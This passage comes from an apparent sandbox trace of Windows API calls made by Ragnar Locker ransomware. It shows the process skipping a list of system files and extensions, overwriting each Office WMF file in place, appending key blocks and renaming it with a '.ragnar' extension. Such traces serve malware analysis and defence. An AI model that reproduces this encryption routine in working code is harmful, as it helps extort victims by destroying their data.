hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.495] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.495] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.495] GetProcessHeap () returned 0x580000 [0096.495] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.495] CloseHandle (hObject=0xf4) returned 1 [0096.496] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" [0096.496] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF.ragnar_FD7BD9FC" [0096.496] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.496] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0096.496] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.496] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18187_.WMF" | out: lpString1="BD18187_.WMF") returned="BD18187_.WMF" [0096.496] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF") returned=".WMF" [0096.496] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.496] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="autorun.inf") returned 1 [0096.496] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="boot.ini") returned -1 [0096.496] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="bootfont.bin") returned -1 [0096.496] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="bootsect.bak") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="bootmgr") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="bootmgr.efi") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="desktop.ini") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="iconcache.db") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="ntldr") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="ntuser.dat") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="ntuser.ini") returned -1 [0096.497] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="thumbs.db") returned -1 [0096.497] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.497] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.497] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.497] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.497] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.497] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.497] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf")) returned 0x20 [0096.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.499] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1880) returned 1 [0096.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x74f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.499] GetProcessHeap () returned 0x580000 [0096.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.499] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.500] VirtualAlloc (lpAddress=0x0, dwSize=0x758, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.500] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x758, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x758, lpOverlapped=0x0) returned 1 [0096.500] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.500] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x758, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.501] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x758, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x758, lpOverlapped=0x0) returned 1 [0096.501] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x758, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.501] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.501] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x758, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.501] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.501] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.501] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.501] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.501] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.501] GetProcessHeap () returned 0x580000 [0096.501] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.501] CloseHandle (hObject=0xf4) returned 1 [0096.501] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" [0096.501] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF.ragnar_FD7BD9FC" [0096.501] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.502] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0096.502] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.502] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18189_.WMF" | out: lpString1="BD18189_.WMF") returned="BD18189_.WMF" [0096.502] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF") returned=".WMF" [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="autorun.inf") returned 1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="boot.ini") returned -1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="bootfont.bin") returned -1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="bootsect.bak") returned -1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="bootmgr") returned -1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="bootmgr.efi") returned -1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="desktop.ini") returned -1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="iconcache.db") returned -1 [0096.502] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="ntldr") returned -1 [0096.503] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="ntuser.dat") returned -1 [0096.503] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.503] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="ntuser.ini") returned -1 [0096.503] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="thumbs.db") returned -1 [0096.503] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.503] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.503] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.503] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.503] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.503] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.503] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf")) returned 0x20 [0096.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.503] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2432) returned 1 [0096.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x977, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.503] GetProcessHeap () returned 0x580000 [0096.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.504] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.505] VirtualAlloc (lpAddress=0x0, dwSize=0x980, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.505] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x980, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x980, lpOverlapped=0x0) returned 1 [0096.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.505] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x980, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.505] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x980, lpOverlapped=0x0) returned 1 [0096.505] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x980, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.505] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.506] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.506] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.506] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.506] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.506] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.506] GetProcessHeap () returned 0x580000 [0096.506] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.506] CloseHandle (hObject=0xf4) returned 1 [0096.506] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" [0096.506] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF.ragnar_FD7BD9FC" [0096.506] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.508] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0096.508] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.508] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18190_.WMF" | out: lpString1="BD18190_.WMF") returned="BD18190_.WMF" [0096.508] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF") returned=".WMF" [0096.508] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.508] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="autorun.inf") returned 1 [0096.508] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="boot.ini") returned -1 [0096.508] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="bootfont.bin") returned -1 [0096.508] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="bootsect.bak") returned -1 [0096.508] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="bootmgr") returned -1 [0096.508] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="bootmgr.efi") returned -1 [0096.508] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.509] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="desktop.ini") returned -1 [0096.510] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="iconcache.db") returned -1 [0096.510] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="ntldr") returned -1 [0096.510] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="ntuser.dat") returned -1 [0096.510] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.510] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="ntuser.ini") returned -1 [0096.510] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="thumbs.db") returned -1 [0096.510] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.510] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.510] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.510] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.510] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.510] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.510] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf")) returned 0x20 [0096.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.510] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2452) returned 1 [0096.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x98b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.511] GetProcessHeap () returned 0x580000 [0096.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.511] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.512] VirtualAlloc (lpAddress=0x0, dwSize=0x994, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.512] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x994, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x994, lpOverlapped=0x0) returned 1 [0096.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.512] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x994, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.512] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x994, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x994, lpOverlapped=0x0) returned 1 [0096.512] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x994, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.512] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.513] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.513] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.513] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.513] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.513] WriteFile (in: 